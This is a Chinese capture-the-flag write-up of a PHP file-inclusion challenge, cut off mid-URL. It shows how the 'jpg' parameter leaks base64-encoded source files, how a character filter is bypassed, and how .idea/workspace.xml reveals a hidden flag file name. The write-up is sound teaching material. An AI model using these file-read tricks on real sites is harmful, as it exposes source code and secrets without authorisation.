题目描述
解题思路
1、打开题目链接,看到url,感觉应该是文件包含
查看源码,看到了图片的base64编码
2、感觉思路比较清晰,构造
index.php?jpg=index.php,查看源码,得到base64编码,解码,得到index.php的源码
<?php
/**
* Created by PhpStorm.
* Date: 2015/11/16
* Time: 1:31
*/
header('content-type:text/html;charset=utf-8');
if(! isset($_GET['jpg']))
header('Refresh:0;url=./index.php?jpg=hei.jpg');
$file = $_GET['jpg'];
echo '<title>file:'.$file.'</title>';
$file = preg_replace("/[^a-zA-Z0-9.]+/","", $file);
$file = str_replace("config","_", $file);
$txt = base64_encode(file_get_contents($file));
echo "<img src='data:image/gif;base64,".$txt."'></img>";
/*
* Can you find the flag file?
*
*/
?>
3、审完代码,找到了替换规则,,但是我们还需要一些信息,才能继续往下做题,提示应该在上面phpstorm这块了,但是因为没有用过,在网上查了一下,也没有收获,看了wp才知道,PhpStorm是一个php 的IDE。由于编辑器为了防止突然断电,保存项目。都会建立自己的文件夹。每个项目的配置存储在项目所在目录的 .idea 文件夹中,并以XML格式保存配置,所以访问.idea/workspace.xml
4、得到一个非常有用的文件名fl3g_ichuqiu.php,所以使用刚才我们得到的过滤规则,将_替换为config,访问/index.php?jpg=